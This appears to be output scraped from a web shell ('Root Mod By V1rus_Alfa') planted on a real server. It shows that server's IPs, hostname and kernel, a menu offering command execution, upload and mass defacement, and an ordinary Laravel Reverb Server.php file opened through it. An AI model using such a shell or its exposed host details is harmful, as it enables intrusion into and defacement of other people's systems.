���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
portal-cutunix
/
vendor
/
laravel
/
reverb
/
src
/
Protocols
/
Pusher
/
Viewing: Server.php
<?php namespace Laravel\Reverb\Protocols\Pusher; use Exception; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Str; use Laravel\Reverb\Contracts\Connection; use Laravel\Reverb\Events\MessageReceived; use Laravel\Reverb\Loggers\Log; use Laravel\Reverb\Protocols\Pusher\Contracts\ChannelManager; use Laravel\Reverb\Protocols\Pusher\Exceptions\InvalidOrigin; use Laravel\Reverb\Protocols\Pusher\Exceptions\PusherException; use Ratchet\RFC6455\Messaging\Frame; use Ratchet\RFC6455\Messaging\FrameInterface; use Throwable; class Server { /** * Create a new server instance. */ public function __construct(protected ChannelManager $channels, protected EventHandler $handler) { // } /** * Handle the a client connection. */ public function open(Connection $connection): void { try { $this->verifyOrigin($connection); $connection->touch(); $this->handler->handle($connection, 'pusher:connection_established'); Log::info('Connection Established', $connection->id()); } catch (Exception $e) { $this->error($connection, $e); } } /** * Handle a new message received by the connected client. */ public function message(Connection $from, string $message): void { Log::info('Message Received', $from->id()); Log::message($message); $from->touch(); try { $event = json_decode($message, associative: true, flags: JSON_THROW_ON_ERROR); Validator::make($event, ['event' => ['required', 'string']])->validate(); match (Str::startsWith($event['event'], 'pusher:')) { true => $this->handler->handle( $from, $event['event'], empty($event['data']) ? [] : $event['data'], ), default => ClientEvent::handle($from, $event) }; Log::info('Message Handled', $from->id()); MessageReceived::dispatch($from, $message); } catch (Throwable $e) { $this->error($from, $e); } } /** * Handle a low-level WebSocket control frame. */ public function control(Connection $from, FrameInterface $message): void { Log::info('Control Frame Received', $from->id()); Log::message($message); $from->setUsesControlFrames(); if (in_array($message->getOpcode(), [Frame::OP_PING, Frame::OP_PONG], strict: true)) { $from->touch(); } } /** * Handle a client disconnection. */ public function close(Connection $connection): void { $this->channels ->for($connection->app()) ->unsubscribeFromAll($connection); $connection->disconnect(); Log::info('Connection Closed', $connection->id()); } /** * Handle an error. */ public function error(Connection $connection, Throwable $exception): void { if ($exception instanceof PusherException) { $connection->send(json_encode($exception->payload())); Log::error('Message from '.$connection->id().' resulted in a pusher error'); Log::info($exception->getMessage()); return; } $connection->send(json_encode([ 'event' => 'pusher:error', 'data' => json_encode([ 'code' => 4200, 'message' => 'Invalid message format', ]), ])); Log::error('Message from '.$connection->id().' resulted in an unknown error'); Log::info($exception->getMessage()); } /** * Verify the origin of the connection. * * @throws \Laravel\Reverb\Exceptions\InvalidOrigin */ protected function verifyOrigin(Connection $connection): void { $allowedOrigins = $connection->app()->allowedOrigins(); if (in_array('*', $allowedOrigins)) { return; } $origin = parse_url($connection->origin(), PHP_URL_HOST); foreach ($allowedOrigins as $allowedOrigin) { if (Str::is($allowedOrigin, $origin)) { return; } } throw new InvalidOrigin; } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa